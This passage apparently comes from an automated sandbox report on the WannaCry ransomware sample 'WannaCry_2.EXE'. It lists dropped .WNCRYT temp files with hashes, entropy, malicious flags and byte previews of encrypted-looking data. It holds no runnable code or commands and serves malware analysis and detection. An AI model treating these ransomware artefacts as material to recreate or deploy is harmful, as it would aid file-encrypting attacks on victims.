                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:n"..x...a..sHP.v...Q...*.....{.J..=FM@]..7(.. .\UT.P. v.a.k.$]o...Tgk..v...U*.V|.h....`......._Hq(.....DDc.........Q&...i.C.G.'.."...3...V.2...N.@;..o.#.:.....y......zJ...8d0w.=.H.k....L.`..:...r9..,Y..27,.O...O+q.^..;I,`l..N.n..]...<..:.._W.~...O..F.....b...F=U.n:...:.8...t(\2.j..7......O.&..T.d..._^.....V.Vg...mX.....7.....&..f'..u..+zG...v..7A.9q......s.6.Y/6.....B.\..m'.T.%.fN.8......G...k...e.j...d..@..[..a.......]&....6v...J..V7....2i... ...#....F...P....6.....=.0.Rk3J........ yL...h.?....x..f.....Ol../...(..NFgK..P...........07.Et.....tC..97~ZS..E..,...bQ....L......r .)%t.....l.e.].F5.!.X.P.q$I.aD.3..mm.q......wDf.<!f.._j.*...vxLi...bbv.8.H#O....%..m..@..'.h.{....|......6.@.Dx.-V...E..I..so.d....?..0.....Y..+.E...?gXH;.~.."...4..tI.=.O..E...4.b..|..dt.>.Q..'..wf..# <-xz.V.& .mQ.3..-.^._........f../M.!...a.......hW*.a..x..`_2..o..S..4..B..@..t.....N[..5......m....p!m./....!..}w[Ku..l.`....&......Vs.~[.^.B.Tb.C.............|.cE.m.8...

                                                                                                      C:\Users\user\AppData\Local\Temp\72.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.797648806418989
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:EshTVhuSekW3ZuUUD0ADVdSE9VOkwNZs1lzYe73ITBli965f:rnaJuZD0udSQVsrAYe73INU96Z
                                                                                                      MD5:DB50E745384B284C13E4DFEA4F640520
                                                                                                      SHA1:DBB5E45AD1F77901C8E95C819424B65ECFDC23E2
                                                                                                      SHA-256:D5FA0E13A5C315FBC884AF73D491421780DED5A1E693C2B0838C33086FEB84E3
                                                                                                      SHA-512:4F7530A155EA580550A15590209EF34C51ADA11B2F49A1361A05F4003A819476435B1A2983D3BB352677C81FE3612A5116C627893110E09F82E004CB61EBD379
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:Z.0.........C9s.b9..J~..gS}..%..i%N.ML].`..*:......".Q.....Lc...V.p.4a.t9.x..%...hp`...5s...... .lk.tWr1m."..~...o....O... ..Z..X.....57C....(..Aw...h.........Y..."..&..B....MO..9?..2..7>^.?..s.[..U..Ct...@w.b%..~. b.P..]R..........GQ._....6...H.[..]......p.x.@..<.&}...c..*D.p...<|.z.w....k.T:.Z0..w.;-.Y\.W.2.i7A..Ji.".1.p.9.(.$~.A..j{6.....k...7........(._Z._..x..&..S.F93..;N.v.KK...8.....Jh..Ys....c|F....tV.p..jR=.& r..04.E"..I..r....4..%........7..]...&w+.V.C]...D;a.=..z....A.Fe......R........s....e|.P...v....Wd.?.W=..._...\.~..~.9is]k_X(...x`..l..L.|.h..."|.{R.......k.1.....@...d.^.W.y...Kk.....F....f^..|{..M!...._..[.w.^..|F.l.G..../..>._a<..Qqt...c......q!..dZ ....:=.],..p"V..2...w.........I.......=..#.CP\[7.Ub5<...6....)c.......(.9.."...D.w.3vit6.+rU+........ .S......]R.\o.......7.(.r...l.e...._..)....g..f........5..zd.B....;6ZI...M..Nb..~..5...#.!3.2.F.<ra...JQR:..@.#.s......7.Q..|N...W.lp...(...A..0_?b.o....u.%..3.|i...>.=.2......

                                                                                                      C:\Users\user\AppData\Local\Temp\73.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:COM executable for DOS
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.791143181525866
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:q5+7YTmp292Ofkyy89PC1+ZeuyJRE7mAhPx5F5X+epVd:6jTULOfkyJ9PC3RE7mAdXX+eVd
                                                                                                      MD5:F1CFF0FE1248E1C91A135398B146F240
                                                                                                      SHA1:E24A20EAE2C356AE4B9BD04718CEADC1646CBF9F
                                                                                                      SHA-256:EB8CC2022F7228D4ECC222339AF0BA69B4F823436A76B30719421E340AD1280D
                                                                                                      SHA-512:1277EFF817085EF64F9C42E6401256CE09688786713F6988A737327403E63BDF59761E7ABE5BAB2751C9B53A995A96D4A209FFABC24C44962B07EF1C8C16603B
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:.^T......nD.4m|..3]..V.2...Y..< .*7qZ.op.BIH..1"...In~.%*.......*,.Q....y....m...^..l.....$..'.4..<3s!.j.<.p........."....u.7.w..p..Z.1l......<.9...."`..Kv..d(<....l.[.'.....a.....'xs3.....\..|...^......:W......#.vD..U..Q..;.~Q....OT.^.......4ht$b..9..u...N.M..d!w....k.E.7~."..:1(mXk.i..V.v.....zs.s..b.W..6.W1UQ.*....*...\..%."e/.....X1-{..N.y.Q>....G.7*...,|7.R.S....#.[...b.l..?..v...M@...+..^..'Y".S..Hj.1..u..i.l.t...|pR.Q..5..D.U.....^.++>!.2GN.t....*......_$Op..U...+.UH.\.`_nX....^Y.R"|.G.T....:.%=...1...... .....[.v.\.."....y..F......y4r1.U<).oP.....yS....g.U.X..*.4.s.},.c..>....".x...`$"U....^....4.=}Y.K..;.;.....T..z..4kM.....^...g.._.[..?p.st...b.//.m..5m../..;Dv...y..&;....6tTS."...*'......`:.u.............9.e.D.-,.RWe.....D..p.Q..\..OLE..-$6..q..W..)..*...A.T]FJ*.)....Y~.....qD.dG&.qiMK.C.....&!W.._Y.5.$....>...Rb.....;.g5.......Z..z=.._p..QN/,.R..$.u..Q}L.}.-...(.A...{._..c.!Dn'.....|...$.]....=.Q.,...c...f.f...!.@'.4.2.L.%.....o.%..IW.<

                                                                                                      C:\Users\user\AppData\Local\Temp\74.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.781329302215705
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:KK+ROaqKqb5xt17Qd9ahSTWWuwcnGvUvVd7la2EHpB/VxHFVb681ww/AQq:gR5q7VJ7Qd9aETpuwc+UdHabJ9T24AQq
                                                                                                      MD5:2E82BAE494295997F9C4CAAB6B8D2453
                                                                                                      SHA1:07510382A67D86E6DFBE811D16A8CBD4B9C53C94
                                                                                                      SHA-256:4E4794FB79F3E6EDA90E8515E89F70274FCAF561D78F5BA70BFDF87DDDA8E364
                                                                                                      SHA-512:00573B81EEE837F3FFA18E8FDBD33DFBEDF4742E6C8EB9BF2F394EBF6731CB62682D8350771D8E43175F24C2194194A71EA10721E8C12D56054D3488C6002BD8
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:.......f..#.^.h..._?l..By.C......#.#.l..7T.5...U.W..Q...j.....!.ZW.28..2....rU$.n....K.:....^.(...ed....+I.0..y.1..N..$..].*Q..D.}.U.....3a.SN\......XN.w00...O_.|.....}(.l.....$.H....@..h.).lW...?ag5>bY|.cL.I.A:...;P...(kG.G.S.&.P...97...S..w.E..;&......e..Fo....n.#*..k.......H..5..hUI. ...7zvf)......._......^.9.z..vu.^.....\_....T.o.@i..4........[.}n0..Z......QH?.W. Q....6.`.T.......h..;.....n..e.d.w.#..$.+..C.....s..`..Se.,N....h"..B.A...7....22s....W.....T......^v........S........./.....H.........n.2..+../..B...)..vVV.D.........,...G.re...c...zH.@.B..S..P.|...E`w...K.....M...^&.3....0...#..t;h.../......E.*.'P.s.d_.T .n.{..2........H]........`~o..D.Qg3&..Q..h....A.zG.q....&M..*H5}......1.jz.......o..y....+.XCx..h.+$..R.t....S~.(.{".,.5c.6{......s...tQ...L.....Q+@_...m..n...a.E.{jXhz.~.ZY.....|....~.n.})*.'n.K&u.V..q5..}...c..M..^P...3.i.;LE...\....1.rC.....Rt...#....Y0....s.)..^...x..8.nm2....4..Z{..........b.8..^. ...__.C

                                                                                                      C:\Users\user\AppData\Local\Temp\75.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.806929087078837
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:12:1iJk9KGvAY/2s46JUnZD3b/VdcrmSBTR8L8/N9FYNfiOFjy7YsK/cYET+Sw2WGMA:aYRH3+Tbdu1BF//pbYs5YB12PnQLJY
                                                                                                      MD5:1FB59EC6A4BA757A3A654C94806C958B
                                                                                                      SHA1:0B1C008AE4D53A19685C9C136859D7376305269B
                                                                                                      SHA-256:761A14C1E5A0F90A36A077EAC33BD1794C5A18E0C87C107E51A1E8202E4D82EA
                                                                                                      SHA-512:27FF0D3F0A816C19E6157FEC90825EBCB61E25484B3895CC1435A4F9E667C01A16F5F588902A2DDD77D2DA7EBDC77E6AABB226B95287AA55AB7DA20A207AF189
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:6.....,.6.....F..@0.........q c.^..B.4..U/.q...B..\..e..~...D...s.g...%.W.x....|k..6.)bV....K......v7x.....C..S.....nA>...8|..1.t...#g.r7.^8~Q4.S2l5J..{,X.......#F`?..u.....8BWP.Kn,Ve.u".*v.;.z..;Rg].,...2P-....._+....,r.-.y....5b^w...V5.j.M..>....,.......f.Dj.=.~N,......z>p^$.4Q*.)...V...R...J....b...P!.~......jP. f...e...<s....wW.Q.x.<.j.BL..B....o.A5mOr.X.~..'0..x.[..X.... ..y#F......].T....9l.Ey..:T..!....(..Plk..>`..r{...3.S..'..O.hj........o.^..tw.@.0..I.....'.F...%.N.C..ze.l....~.....>..Nq.b[.<i,...%.'/....^jpY.:P....j,..Wy..L..T.....B..6.....[..]u.9J.c.d..IR.].(/.9j...?.v..dW....N*r.&....m.c..J.rO.WX......V...82........B+.2..s.....8....ZI....W.S.1.Q..(.....*.3n..8.I.8.*<..oe.....&m:...T......Ki....V..=.D.........|..W..9ri.........4...W.k~%..5.G...d. N.V0s.a..0.LH.*h....kf;.3..5.0!.Dzt.)X.......wq..%,K...}.Y...6^L.C.)..o...O..l.wx.^h^.......{.....hC.;ebv`fn.g.D....<..C|..9.B6.i.n..FVQS..{"..m#9..-X.J..X..C'_.....E)....B..T...92.a.k

                                                                                                      C:\Users\user\AppData\Local\Temp\76.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.801737244227275
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:cOt0E4wlWFNHl+9wkpr0ZBbs4NZVjKaw2mTv4Gn2wg5n:Dtf4VNHl7k9WA4NT+aZmTvte
                                                                                                      MD5:A0CD7E7DE9EAAE14DDEED76B16CA0471
                                                                                                      SHA1:C2855BD4A559AA1B9905C1F658F951C4E979941A
                                                                                                      SHA-256:40B641F6EDEB08EF63C7D57E0CAAD23C441DB0FA745A85A6A428EBF0EBBE7468
                                                                                                      SHA-512:103CECCAD1577C142EF085B9412FA87E78E7E1C9575A96EC539FE05C8156B9C25C59B7C8A8DCEBBDCA31869A818D614144C7B54A5C8150D5362891C21FE374F0
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:E.h{.6m...wC%.i{..(~..2~Dk....oY0.(..K52\.`......P..~....p:~..8.D..".]S\.m...#.|G.LZ!G..cR.e\9.S..'..;..^&4..m.J.|a^..[tm..P...Y...{s./!h..;It2`...R.!..]=....}v...:....Z.nz...0...eHg..6..8.F.^..I...`.S...:...k5.3.k.1AW...>...OQ..r.(..=.Q.A86..#&.k.....0.;....%J.. Ft.%.tvA.........._.3(.?t{-.1.L.....,..\/..I.....u\/..y.R./."' )..Z.... =.V...k...$.#.yz._p...j........:....U5.9.pR2.....b=u/.+.sO......A...5.P.......;.Q. ..9qXjG...Xq..F`hr.`.7...$}.(.=...L.A.}.\....r..&?A.................,*.[...c.9..i}.1..9....~j...;....Dq..-.#.E.9.3.MU#O...`.....~..@..Pf...:,.x.....0.V.....S.:.1.Ly....L..q...lw..).;.p.}..j].....V..63%...x..^...N..C!.....\...^......3.t...Ph.V....M.........r...e..#=^.X7..(.3C.....n......8.u...9*.b..M....W.'K\6....k63.5.N..r.)O...C....F....K....O%tD.x...Q._.&u$.S....o6.....R....nezh.....Z.@.y...YG..... ].....A..E..S....k.2z..Fp.6...tQn..J.0...-)he3...\t(...eD.l_|....._r..k..._e.p.C.W,..."..0..P.d.z.#o..Lk.#....h7.\s.>.......

                                                                                                      C:\Users\user\AppData\Local\Temp\77.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.825286316045983
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:BsAfpaweZPiUflGM2vgJZHqjb5nDCzPfzwcP9odzMjtimVpDQGnd:BN5eZPiUIfvgJo5DCznE26zMjtiYVnd
                                                                                                      MD5:3959E145F8A3CD9840F7265FAFF2D2EF
                                                                                                      SHA1:D21EB223D1D046E2578CAF453C1A2B51309CE3DF
                                                                                                      SHA-256:4236D05B392106E66E6747E68F20C6287AC54B3E885ACDF515C9BDA503458C5A
                                                                                                      SHA-512:FB3C9F4536030349FCC9E4B0DF1F3EDB026AA2CA76E5686CBDB4A60B78E628CA7EAF42197A7D2AEFC3C6A7ED6AD638E12A9AEE9B315FA8A178C759237576842A
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:T....}...t...?...4.).......!(..5....$.<E.d.p....wG.JH)....>...9.kUl*BFz...g....j.......TZ..mW....x....e,6..{^u.}.E4B..i..vO..........e._.......T....7......Z..h.@.....,.fR...|..4........L...QK..........g...We.Q..5.o..):Qd..H.......-.6&.Ra..Y8.X.1Jx.w.,..9..L....V........^.......a...[.c.G..QM...E8....R?$(M4..YY..+..i..a..#.Hf...5.<..@;w.1.....R.?. ..Zb.M.B.Y.W.5.DN..kD>.NW...wv.Z..Xc....].2.f~....)K...m..c.(Y....&._.L!...Tn....)..a.D..pp.b..AZ#......E...... ..Ot.....q<>a..h..C....B:.....&VmHi.d.WN..:9o.....kS@0.-...7..M>u.G..>)K..f.H..pz.M....n..7.!.....9....]N...0.....}0D..mjp.$HB.#Wi..,'....p.6. .M.....!...]]...f.zp.3|..I.Z3&.`1J....y....G.........K...W......10.n+A.F.....]}.$?8A...G..#..d.5...9..9j.6....Y#.5)9....w....hp.............^s.....NT..f...Q~..j.....i.g.P..n.....39.}..rQ..70..B%j.].....W..............hU....9+..&b#.!^..k=X..DOi.b..xR.gu..6...{..XOl0..;$...n.b[...Z..j.\.....C...._..S.v....D..]e..I.^..`p...i<$.......4...0....#.

                                                                                                      C:\Users\user\AppData\Local\Temp\78.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.8243653430718645
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:chtAm4sFw2IYP/uA+zQPGPW2neolJv/YVnt:QuloX2A+cz2nZtYb
                                                                                                      MD5:5E749218C95402077224808E63B0D607
                                                                                                      SHA1:3569BD4729C720596864E06FCD926F8C9BF65A5A
                                                                                                      SHA-256:24978FA79C05A0A035AD141AF6BBB8847849FB7CAFEBEADD4EAAB7A021861884
                                                                                                      SHA-512:0EE7B08EA4A76DD0B7E0EA4C7D3887511874F90EAF4D0B43627DE89F2D8224AC3013A7C679DB9B13DC23EE35D661004FC4DD9FFB2443506F90268FC8C3367C3E
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:......"l4e.$.j..|.D'.Y1.:,.Ws{.....>..H..G..U,jj..B..b7}...5..3.A.rQ.c)G}}.~........Nj...f.y....2..f....M...jL.1.h.d8..4]p..A[x...7......g...x...7.. ..-d9+..T`.f7LO...r.D...S1.<.`..#..Y...@.Y.<...m.'R.~...O..i$Pp..mXo..t....G..D......(QP?.B.^...|..L...7....eT-..b|..+.M..p.;<....&.=C.*.i..3$.Z..;.:..p.^...c.N..*8.n.X.......#.^wE.I.....`@....O]p8...|-..9._...4...Z..-....T... ....#..3..hT....I.fm..T....3.eO{. 0$..O.x..#..Q.UD?Bn..R.@.c^.x...r......RK.t...C}..H+....._.5i.k......u7.......s5. ...*..`..xJ.W....*.%.n.N..X]^..J.b,m..A.....N..L.p....E...6q........ZR.@$.e.@.....%...@......t..&..@.`R^.S..f........'..Z.=F>J..Uw.i.3..l.{....B....{]......,.1,Y.>K..OW..y..*,.-....$...a.w.Fwu_l..gW.9K...-.<..D.h..t.O..<..#....3.(...r}....w.nA..Hf..AC.....Q.p.|......t...E.y..........7{.i.S.8..Z..@.1..6.....KO..g..uC....0.'w.%*..RD.....0C....#Z{b[..d..cXo{...i.>Zh......................D Q..C..kb..2...\......p....z.m......=sz..1.....I.>?-TZ.'..jFnz...Q.

                                                                                                      C:\Users\user\AppData\Local\Temp\79.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.806830516009532
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:Njtuy4H4BUyZ0kCf222UUXgyiQjFFFV3Nx8zcEukfgHz0:NjYy8oGf2HNXgyVF/3NxkuCK0
                                                                                                      MD5:9D545F8D58BAE5323936182CCC45C114
                                                                                                      SHA1:468F9143C39B348FC81CD8C5034521BC026C3CDA
                                                                                                      SHA-256:D87ABF8DD52D55F9D359CF7CC93C114AFBA128083635AC7A50954D4CF210C099
                                                                                                      SHA-512:EC5F4977FF68262F6BF18AB0046F615174AD6CF1E0073ECCA671C9AC995459CD93114A7280460D479B95A9362C4DD638452320E13AE5D2AAA2CA30B243D533BC
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:..N..)Pv...4............B.-.../t..rx.T%.....t...W......A.1...wsW.JG..%......KD..%N.m..|...=..bqej.z...D..D..)...+G#c....6d?.e...1.=....L.bR..vU8.y..R"..<.8.\.F."...x.%........X.B..7...]..7.+Tq}....._..M...a...Zd..:.,...".....&<U.j.....0IJ..m....$A.'...{.....-3.j3j.+Iw>..(......C]...3..Z<....q...-..v..m...q.&#..=.._..........J...i..b.....8.J3.\......H......`..$h..3.e..hO...t....V7.v...m......+.8...q.%e..i......`.g.....$ *..V.}.........GY`f.Us.?..tC...+G.:...+..x..4..m.di.I.P.?j61..B..>8.}..m.#........J.D...M.M....r..hb...!..-.A.....2tx%FDB4....."..ky.f?.....\..R).b.5..O.".....Fbo;..q[.B..}.>..`..f..;...2...#.....`'..f.U..XuQ<R..e>_.....].5x"_{.E.ax..@..T....g..eU0.].,...n'Mwt..O..*...D.....3aWQs.d3;..c.`.r(.....=.;.}. .z.X.%...G`........-=e...p...T'.j...+....R.7..Y.{....\M.K.Bh.. ..q..Fd.....Ty$\...+./R.....2W......&wo8....^..|B|..OM......[!..z>.Q...`.G..<.b.:..n..:..2...&.....dsJk..:.$6=4.O.;.b<.:....d...D)Q;/.|RsZ.......sz.=...........!BM

                                                                                                      C:\Users\user\AppData\Local\Temp\8.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.7864756928636485
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:ZcMeYjaRpx9lgOKwbzy3msTwW392e4ERRKF5EjkH9XnrNMwc:Z5e3F9GTay3msTHMe4EvKrEo9Xuwc
                                                                                                      MD5:20063CD6141E829644B280E1D8855C35
                                                                                                      SHA1:CA24C75C29927901B80AC6C14C4C07981FF7AA07
                                                                                                      SHA-256:1C3FC03924D96D87ABD9FB4F36E0C1EFF64FB7A3B2072BB2E2729293D0FEB202
                                                                                                      SHA-512:E7391C42E0D8F78CD4E20F83E841A300FF71839632F2CAF4A7FB075376947317B1C4C94E587DC4F3201BC8766EC32B3BA7B73BE667470FD51B4931E7777501FB
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:.`...x..b.F..P.'..W....!(..V;1.(.W..a.v...d<(+gp...k...J.....e&[.\...U#.Yx4..Q..g..?0..3 Z..Q...........r..R....|..#.2.u...$.-k.d.2.F$.v..A9...)....96&..{......n..../..+.....z>.wZ....p..?..5....,.N.>c.qg.....SZ.9...Y....G5.5P.O.2'f_4]IG..c*.t...........Q+...G..y..B..."....99....c...(.5...._.4/...)4)d.Nx.....Y..e.......p.>"...3(..#c.G..<.y.....>.....O....k .t.k..(.$....Q;b..H..........._.!../.e...\..o.f.:.M.,SkE.-0......,k.A.....(..+...G....`2pK...7....H.....R......>..1...U..n...-...#..~...u..CG.P......U....QW....~d...4.w./.B......a.J.....Zs.}..PU.=.../...:l..@....!........./....V....k...T.(......d.....#.&..i!.>d......'N..(!#.$..q........up......K0.\.....2..g..-]+!..{....8..o...;2..D...Gs..~.-...J.D@:K.9...............J}d..*.^..dYLfk..s...z8{7.\.>..p.(....p...i....=..??kAD....X.v.2.Y#I... ...Q.N...k..../.t(...>.]].c...=.C.__.i...%.Z..K>5..n.:.m9...V-.......42C.....%..x.).x..k..wz...'.."..O#..-.P._...O.../<...7O.b_.l.V{.q...]~....

                                                                                                      C:\Users\user\AppData\Local\Temp\80.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):271360
                                                                                                      Entropy (8bit):7.999360494172027
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:6144:n+5WelqHPT4+jZuofmGHG3aY5CPUJeOyNxXlR8mkN0z:n25l44dIcFWrR8mBz
                                                                                                      MD5:11ABDCF1705D752110EFF9C9F95989E0
                                                                                                      SHA1:24F509988EF8E890C701A2AAEEA8C37BDA5B9E72
                                                                                                      SHA-256:8233E3BF19D3090BF68817AE11BF64E27AD228742CFC54E2E0997E51D5BD519A
                                                                                                      SHA-512:4BCEE0857119B75D5FC521B21BC66ACBA8B4E4BBFEBA11592B2A5965D815E0C584881D15198270573CE50312BD4FCC91934AD9898E9955D1836481B0CA5F9B6E
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:C^..z..G.....I...G9)...n.:.=....k..J.q....0"..%.}b.b-..]Op.....o.._...Is..g..$j.i_A7W....i<..".....}L.oj5}+....`.w...J....?@4..,...^..q6f2z...B}......8..y...i.....@...]u.O.>..U.<.M..9.~W-...G)..v.if. .@(.........>.q..0...R,...G.._i.8.f@..t~.t.\...D..H..c\...W....[..*.....l.[c%b..o...o`9....r&...!.@.OxYh..A'.AF|...|nsv.G..u).5.qa..........3.......3..b.`......q.z\,H.....Hh.......!P..8...Ju...T4..?$b.,.....U..../...@cC.OC....:.......V.C.;..nU=.'.`n.sh.]..!.......}U,w{....&k..wE...@)..Q.Z<?..a:..Jk k.sn.S...H.O...'!$!..X.T8.ed.d.'.M.x..r>...CSt.k.'..v..+...Hw(...).k... .......2.5.E.B)a..D.ZU\.''Q}.1l.a}..:s.~...tm.....]^...?nk.:.......hL.V.<.+....E....^.v.i..>..Kwx... .....6:uy2.gm.p...Fl.C..&.V~mn.B.Nx.5.6.....R..iql(>.G.....P..]Ol..P?[z.......D_s..G.YU..x..0..0x.SZ,...%..0.*...n.E..7OC.H......J|..?...y.B..b.....:[h.,...8s..>.p\....A..,..l..z...G..Q..E.P.32Z9.t_.%0.",...0.*":.}`..rMe2Y....j.k..p<..h...):.M.....]C(s2u.......8....P..r .r&.

                                                                                                      C:\Users\user\AppData\Local\Temp\81.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.805410751506385
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:hr0GZL6NYvyzxnaT3gt9w1G8y7xRJtfLZq:h4GZL6Gvyzgjq9w1ATfzc
                                                                                                      MD5:67852A9309B15BD33A7465FF99682444
                                                                                                      SHA1:4D2BC4D32C5C052D8833E1F0910B70078917245B
                                                                                                      SHA-256:C00193E6D01A8FCB2562582FE1007D4A7157B48A72E8FAA626A35321DF814515
                                                                                                      SHA-512:7C74F2C1A556E247A3F867809506D745DADA3952F44DF536A5A3F68DBAFFC1D7AF63E4542EB284D7EE4BC9A166446C834D01B1EEEFF556775BA2D004ECCEA66B
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:...c.I\*..8.<,.....>}..3..q..U.....t..<.=.7.B....l....Z.5k.U.:.3...K-F..i....8...:.....NB.z..kpN.[...O..>_.k.#...t.$.a.}...B....C.h..l>M..e....]W....5.q..h.t..t...9.N.<..An...M......A.u........y.TKy.._...:G.r.....BZ.~...+m...../.L....',........R...w.K..].....'.hv....G. .9....>.....pVfT..c..f.:.._x..p.@..1+R.h14."...5o......v|....?..G.:p...f.....T.h...a..s/..'K..=.k.r.`.e....@..........D;...k..n.......j.../...c....k...k|.n......G..l/.J...*.....(U.vG.MUs..}.....n....:....g...?&...Q...i%m..p.o ...X1O.4...;....!K..F`.B.?.D..O.m@~M.....P...py:1....oi...i..5.E6F...Q..d.4...Q......a......0.4.&!i...R.l+.6............h..9(!.Bq..Qe..f..CYac.w..}.+.....^:.o..N..@...-..?9..Q.I.s..Z.]3T,r:.,..0...*....F`h..S'%m.(.I.......1..v......Q.~..N..%............hI.......r....;..`r0,.C..D....i....d.;G.....z4?...)"C.....Tyw.Ca.0G....?.....c...}'@..&L.x}..._?./.QG5.v.$a..R......h......fr.zx.o...H6r.d.p*-t.`F...^...#.&.F>.0..h...{<L....wv..Q....#.

                                                                                                      C:\Users\user\AppData\Local\Temp\82.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.8333903945124375
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:12:THkxpEj6m259J982/vmjOSTYrYKiZLZhx0oKX7SKCP+pNWoOWH50wcVpuBMzXEbY:AL55rYjOSgdwLZhx0oqy+3Wop6uoydji
                                                                                                      MD5:4CF2BE5B92C897008BFEE8292444DBB0
                                                                                                      SHA1:77908C1C493E526962FE0F41AFE4D4CA2C039BFB
                                                                                                      SHA-256:E2B9596CA014324F99CEF022D827EDFEB11FF91337D38EA280E9880CCB593B29
                                                                                                      SHA-512:D7164DF82AC4C8B8B38FDE5151E43C8F1077C90D685D251F398B0F7D0D6102F13033CF0FEC3B8542BD10DDEA85A4603EB653CF696EEC965E10E76A399DF8003D
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:Kv...XB{W..._..%+...~...E..1...m.T..L9.>V.X....<.}..T....#$.E..*m....a..c....Ny..&).s%.}......+....S..........<@O..G.<.....`.R..6f.....{....##.....Bu.[..n..S...]...Iuo@u...U.l..M...0+......(xd.i..........pj...oQ...r.......M..b...0.5*.,... ..&.tQH.\.$.4....p {m%...&v...v....P[..T.O.+y....._..W...s......k..y..W...h)..L..v....y_rkQ..9MOAk..A0\....?....y|..w#...>*.F.&F.i<.B.....Y|....JE5..J;..7p.=.!.....n.h...=..G.b,..9./h..=p8<..$....g.B... ..VD..g.J.0^.9..A>P.......5R.[EG...e....)..4....\...w9.0k.....x[.6e.!.5.N..dO.q..}..C1K*...!.....E2.Z$.DG.../s.ZJ*...S......>.>..G...B....G.t|M......P..0-x...z..."......l.>.J<..6KV9W..]=JYhd.6BJ..y.2..oN....Vid.Q ..e<......\...?. .0...X..0f%&..A@..f"{x.`........F....U.`a..'r.;-uL.L...ys.......Z....<~%.q.c.. .t..m...c%"...e[o..&'..:..............Zc.Z./.|.L).A!l.NE.)..t...D...G...j.....d.<:.g....'...'.NT...>.'...BD...r8.,...J..d..m2q.RN..mJ.9w.DfL...B.1...b'Z.|i...G...-...a..X5......\r..D..^...*8

                                                                                                      C:\Users\user\AppData\Local\Temp\83.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.825810672418149
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:ONLFrSM/RxGl5+sHrLryd23wsUc1hNmZkI77Oyc0:OdBBZxGv+sHrLmd2gghNyqyc0
                                                                                                      MD5:CC75B09FC6ADC4C503C4531CC7951AEE
                                                                                                      SHA1:96F9EF113A44D06D4ADC588D910C184D4AB92656
                                                                                                      SHA-256:5F1396EFCD2C94DA2B6C55F97CE7180EA2ABFB5FF5739BF2B38C0BA97081166E
